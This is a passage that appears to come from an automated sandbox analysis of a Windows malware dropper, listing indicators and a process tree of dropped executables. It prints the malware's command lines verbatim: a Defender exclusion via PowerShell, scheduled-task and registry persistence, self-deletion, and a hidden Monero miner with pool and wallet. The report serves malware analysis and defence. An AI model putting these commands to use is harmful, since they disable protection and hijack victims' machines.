26c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Alfanewfile2.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	150	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2784	6855562.exe
2536	WerFault.exe
2536	WerFault.exe
2536	WerFault.exe
2536	WerFault.exe
2536	WerFault.exe
2536	WerFault.exe
2536	WerFault.exe
2536	WerFault.exe
1620	2617197.exe
2964	2969847.exe
2980	WerFault.exe
2980	WerFault.exe
2980	WerFault.exe
2980	WerFault.exe
2980	WerFault.exe
2980	WerFault.exe
2980	WerFault.exe
2980	WerFault.exe
1304	setup_2.tmp
1304	setup_2.tmp
2568	Alfanewfile2.exe
2568	Alfanewfile2.exe
2568	Alfanewfile2.exe
2568	Alfanewfile2.exe
2568	Alfanewfile2.exe
2568	Alfanewfile2.exe
2568	Alfanewfile2.exe
2568	Alfanewfile2.exe
2568	Alfanewfile2.exe
2568	Alfanewfile2.exe
2568	Alfanewfile2.exe
2568	Alfanewfile2.exe
2616	5382906.exe
1636	Chrome 5.exe
3376	services64.exe
2548	4463916.exe
4132	WerFault.exe
4132	WerFault.exe
4132	WerFault.exe
4132	WerFault.exe
4132	WerFault.exe
4132	WerFault.exe
4132	WerFault.exe
4132	WerFault.exe
4132	WerFault.exe
4132	WerFault.exe
4132	WerFault.exe
4132	WerFault.exe
4132	WerFault.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe
5000	explorer.exe

Suspicious behavior: GetForegroundWindowSpam 4 IoCs

pid	Process
2536	WerFault.exe
2980	WerFault.exe
4132	WerFault.exe
2140	iexplore.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
3492	1613003.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	Tue11f251db82fb7b.exe
Token: SeDebugPrivilege	1692	Tue11141271fbe5877f.exe
Token: SeDebugPrivilege	2820	taskkill.exe
Token: SeDebugPrivilege	2616	5382906.exe
Token: SeDebugPrivilege	2784	6855562.exe
Token: SeDebugPrivilege	1620	2617197.exe
Token: SeDebugPrivilege	2964	2969847.exe
Token: SeDebugPrivilege	2536	WerFault.exe
Token: SeDebugPrivilege	2980	WerFault.exe
Token: SeDebugPrivilege	2736	2.exe
Token: SeDebugPrivilege	2532	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	3188	BearVpn 3.exe
Token: SeDebugPrivilege	3332	taskkill.exe
Token: SeDebugPrivilege	3660	postback.exe
Token: SeDebugPrivilege	4052	5264274.exe
Token: SeDebugPrivilege	1636	Chrome 5.exe
Token: SeDebugPrivilege	3672	Tue11e4e580f2e8141a3.exe
Token: SeDebugPrivilege	2548	4463916.exe
Token: SeDebugPrivilege	3816	4218290.exe
Token: SeDebugPrivilege	2060	3589249.exe
Token: SeDebugPrivilege	3376	services64.exe
Token: SeDebugPrivilege	4132	WerFault.exe
Token: SeLockMemoryPrivilege	5000	explorer.exe
Token: SeLockMemoryPrivilege	5000	explorer.exe
Token: SeDebugPrivilege	1476	WerFault.exe
Token: SeDebugPrivilege	2000	WerFault.exe
Token: SeDebugPrivilege	3860	LzmwAqmV.exe
Token: SeImpersonatePrivilege	3860	LzmwAqmV.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2140	iexplore.exe
1304	setup_2.tmp
2140	iexplore.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2140	iexplore.exe
2140	iexplore.exe
2812	IEXPLORE.EXE
2812	IEXPLORE.EXE
2812	IEXPLORE.EXE
2812	IEXPLORE.EXE
2140	iexplore.exe
2140	iexplore.exe
4008	IEXPLORE.EXE
4008	IEXPLORE.EXE
4008	IEXPLORE.EXE
4008	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 1748	1984	setup_x86_x64_install.exe	26
PID 1984 wrote to memory of 1748	1984	setup_x86_x64_install.exe	26
PID 1984 wrote to memory of 1748	1984	setup_x86_x64_install.exe	26
PID 1984 wrote to memory of 1748	1984	setup_x86_x64_install.exe	26
PID 1984 wrote to memory of 1748	1984	setup_x86_x64_install.exe	26
PID 1984 wrote to memory of 1748	1984	setup_x86_x64_install.exe	26
PID 1984 wrote to memory of 1748	1984	setup_x86_x64_install.exe	26
PID 1748 wrote to memory of 1832	1748	setup_installer.exe	31
PID 1748 wrote to memory of 1832	1748	setup_installer.exe	31
PID 1748 wrote to memory of 1832	1748	setup_installer.exe	31
PID 1748 wrote to memory of 1832	1748	setup_installer.exe	31
PID 1748 wrote to memory of 1832	1748	setup_installer.exe	31
PID 1748 wrote to memory of 1832	1748	setup_installer.exe	31
PID 1748 wrote to memory of 1832	1748	setup_installer.exe	31
PID 1832 wrote to memory of 768	1832	setup_install.exe	33
PID 1832 wrote to memory of 768	1832	setup_install.exe	33
PID 1832 wrote to memory of 768	1832	setup_install.exe	33
PID 1832 wrote to memory of 768	1832	setup_install.exe	33
PID 1832 wrote to memory of 768	1832	setup_install.exe	33
PID 1832 wrote to memory of 768	1832	setup_install.exe	33
PID 1832 wrote to memory of 768	1832	setup_install.exe	33
PID 1832 wrote to memory of 928	1832	setup_install.exe	34
PID 1832 wrote to memory of 928	1832	setup_install.exe	34
PID 1832 wrote to memory of 928	1832	setup_install.exe	34
PID 1832 wrote to memory of 928	1832	setup_install.exe	34
PID 1832 wrote to memory of 928	1832	setup_install.exe	34
PID 1832 wrote to memory of 928	1832	setup_install.exe	34
PID 1832 wrote to memory of 928	1832	setup_install.exe	34
PID 1832 wrote to memory of 584	1832	setup_install.exe	35
PID 1832 wrote to memory of 584	1832	setup_install.exe	35
PID 1832 wrote to memory of 584	1832	setup_install.exe	35
PID 1832 wrote to memory of 584	1832	setup_install.exe	35
PID 1832 wrote to memory of 584	1832	setup_install.exe	35
PID 1832 wrote to memory of 584	1832	setup_install.exe	35
PID 1832 wrote to memory of 584	1832	setup_install.exe	35
PID 1832 wrote to memory of 1292	1832	setup_install.exe	36
PID 1832 wrote to memory of 1292	1832	setup_install.exe	36
PID 1832 wrote to memory of 1292	1832	setup_install.exe	36
PID 1832 wrote to memory of 1292	1832	setup_install.exe	36
PID 1832 wrote to memory of 1292	1832	setup_install.exe	36
PID 1832 wrote to memory of 1292	1832	setup_install.exe	36
PID 1832 wrote to memory of 1292	1832	setup_install.exe	36
PID 1832 wrote to memory of 240	1832	setup_install.exe	37
PID 1832 wrote to memory of 240	1832	setup_install.exe	37
PID 1832 wrote to memory of 240	1832	setup_install.exe	37
PID 1832 wrote to memory of 240	1832	setup_install.exe	37
PID 1832 wrote to memory of 240	1832	setup_install.exe	37
PID 1832 wrote to memory of 240	1832	setup_install.exe	37
PID 1832 wrote to memory of 240	1832	setup_install.exe	37
PID 1832 wrote to memory of 1248	1832	setup_install.exe	38
PID 1832 wrote to memory of 1248	1832	setup_install.exe	38
PID 1832 wrote to memory of 1248	1832	setup_install.exe	38
PID 1832 wrote to memory of 1248	1832	setup_install.exe	38
PID 1832 wrote to memory of 1248	1832	setup_install.exe	38
PID 1832 wrote to memory of 1248	1832	setup_install.exe	38
PID 1832 wrote to memory of 1248	1832	setup_install.exe	38
PID 928 wrote to memory of 1868	928	cmd.exe	41
PID 928 wrote to memory of 1868	928	cmd.exe	41
PID 928 wrote to memory of 1868	928	cmd.exe	41
PID 928 wrote to memory of 1868	928	cmd.exe	41
PID 928 wrote to memory of 1868	928	cmd.exe	41
PID 928 wrote to memory of 1868	928	cmd.exe	41
PID 928 wrote to memory of 1868	928	cmd.exe	41
PID 1292 wrote to memory of 2004	1292	cmd.exe	40

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:768
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:928
    - - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11d7385a978cc.exe
        
        Tue11d7385a978cc.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1868
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
      4⤵
      Loads dropped DLL
      PID:584
    - - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11b9d76a96506.exe
        
        Tue11b9d76a96506.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1132
      - C:\Users\Admin\AppData\Local\Temp\is-PKM86.tmp\Tue11b9d76a96506.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-PKM86.tmp\Tue11b9d76a96506.tmp" /SL5="$4012E,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11b9d76a96506.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1116
        
        C:\Users\Admin\AppData\Local\Temp\is-33CQS.tmp\46807GHF____.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-33CQS.tmp\46807GHF____.exe" /S /UID=burnerch2
        7⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        
        PID:2512
        
        C:\Program Files\Java\EWZXMBZYNY\ultramediaburner.exe
        
        "C:\Program Files\Java\EWZXMBZYNY\ultramediaburner.exe" /VERYSILENT
        8⤵
        Executes dropped EXE
        
        PID:2412
        
        C:\Users\Admin\AppData\Local\Temp\a3-012a7-272-dcaad-9ed2389cdcd35\Suxepufymi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a3-012a7-272-dcaad-9ed2389cdcd35\Suxepufymi.exe"
        8⤵
        Executes dropped EXE
        
        PID:2220
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        Modifies Internet Explorer settings
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:2140
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2140 CREDAT:275457 /prefetch:2
        10⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:2812
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2140 CREDAT:734226 /prefetch:2
        10⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:4008
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2140 CREDAT:1061901 /prefetch:2
        10⤵
        
        PID:6868
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2140 CREDAT:1258521 /prefetch:2
        10⤵
        
        PID:6572
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2140 CREDAT:996374 /prefetch:2
        10⤵
        
        PID:5688
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2140 CREDAT:3617815 /prefetch:2
        10⤵
        
        PID:10884
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:4308
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851483
        9⤵
        
        PID:6828
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6828 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:6404
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851513
        9⤵
        
        PID:6640
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6640 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:4408
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=2087215
        9⤵
        
        PID:6240
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.directdexchange.com/jump/next.php?r=4263119
        9⤵
        
        PID:4636
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?id=1294231
        9⤵
        
        PID:10836
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:10836 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:10996
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1492888&var=3
        9⤵
        
        PID:7092
        
        C:\Users\Admin\AppData\Local\Temp\ce-7347b-265-a0b8d-cbb0b57b28124\Dyjicyrizhe.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ce-7347b-265-a0b8d-cbb0b57b28124\Dyjicyrizhe.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2660
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\a1srrdg5.5d1\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:5832
        
        C:\Users\Admin\AppData\Local\Temp\a1srrdg5.5d1\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\a1srrdg5.5d1\GcleanerEU.exe /eufive
        10⤵
        
        PID:5864
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\a1srrdg5.5d1\GcleanerEU.exe" & exit
        11⤵
        
        PID:6656
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:6704
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3adjozgg.gbv\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:5972
        
        C:\Users\Admin\AppData\Local\Temp\3adjozgg.gbv\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\3adjozgg.gbv\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:2680
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\3adjozgg.gbv\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\3adjozgg.gbv\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630902153 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        11⤵
        
        PID:7068
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\aq2fulcn.fql\anyname.exe & exit
        9⤵
        
        PID:6060
        
        C:\Users\Admin\AppData\Local\Temp\aq2fulcn.fql\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\aq2fulcn.fql\anyname.exe
        10⤵
        
        PID:6356
        
        C:\Users\Admin\AppData\Local\Temp\aq2fulcn.fql\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\aq2fulcn.fql\anyname.exe" -u
        11⤵
        
        PID:6440
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0ykua1f3.lhm\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\0ykua1f3.lhm\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\0ykua1f3.lhm\gcleaner.exe /mixfive
        10⤵
        
        PID:6344
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\0ykua1f3.lhm\gcleaner.exe" & exit
        11⤵
        
        PID:6712
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:6756
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eoddqxie.zvp\autosubplayer.exe /S & exit
        9⤵
        
        PID:6328
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1292
    - - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11f251db82fb7b.exe
        
        Tue11f251db82fb7b.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2004
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2752
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1636
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:3112
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:3356
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3376
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:3280
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:4000
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:1784
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5000
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2532
        
        C:\Users\Admin\AppData\Roaming\5264274.exe
        
        "C:\Users\Admin\AppData\Roaming\5264274.exe"
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4052
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4052 -s 1552
        9⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:2000
        
        C:\Users\Admin\AppData\Roaming\1613003.exe
        
        "C:\Users\Admin\AppData\Roaming\1613003.exe"
        8⤵
        Suspicious behavior: SetClipboardViewer
        
        PID:3492
        
        C:\Users\Admin\AppData\Roaming\3589249.exe
        
        "C:\Users\Admin\AppData\Roaming\3589249.exe"
        8⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of AdjustPrivilegeToken
        
        PID:2060
        
        C:\Users\Admin\AppData\Roaming\4463916.exe
        
        "C:\Users\Admin\AppData\Roaming\4463916.exe"
        8⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2548
        
        C:\Users\Admin\AppData\Roaming\8209024.exe
        
        "C:\Users\Admin\AppData\Roaming\8209024.exe"
        8⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3648
        
        C:\Users\Admin\AppData\Roaming\4218290.exe
        
        "C:\Users\Admin\AppData\Roaming\4218290.exe"
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3816
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3816 -s 1660
        9⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:1476
        
        C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
        7⤵
        Executes dropped EXE
        Checks processor information in registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:2568
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
        8⤵
        
        PID:2640
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Alfanewfile2.exe /f
        9⤵
        Kills process with taskkill
        
        PID:3672
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:3988
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2736
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3860
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        9⤵
        
        PID:1500
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:2404
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
        8⤵
        
        PID:3280
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        9⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3332
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        
        PID:1732
        
        C:\Users\Admin\AppData\Local\Temp\is-F6KQ1.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-F6KQ1.tmp\setup_2.tmp" /SL5="$1022E,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        
        PID:2200
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:552
        
        C:\Users\Admin\AppData\Local\Temp\is-B8C9G.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-B8C9G.tmp\setup_2.tmp" /SL5="$20244,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:1304
        
        C:\Users\Admin\AppData\Local\Temp\is-JPLRQ.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-JPLRQ.tmp\postback.exe" ss1
        11⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:3660
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe ss1
        12⤵
        
        PID:4016
        
        C:\Users\Admin\AppData\Local\Temp\T34MY8Vnc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\T34MY8Vnc.exe"
        13⤵
        
        PID:3348
        
        C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"
        14⤵
        
        PID:2164
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
        15⤵
        
        PID:1228
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
        16⤵
        
        PID:2280
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe" /F
        15⤵
        Creates scheduled task(s)
        
        PID:1996
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        Executes dropped EXE
        
        PID:2340
        
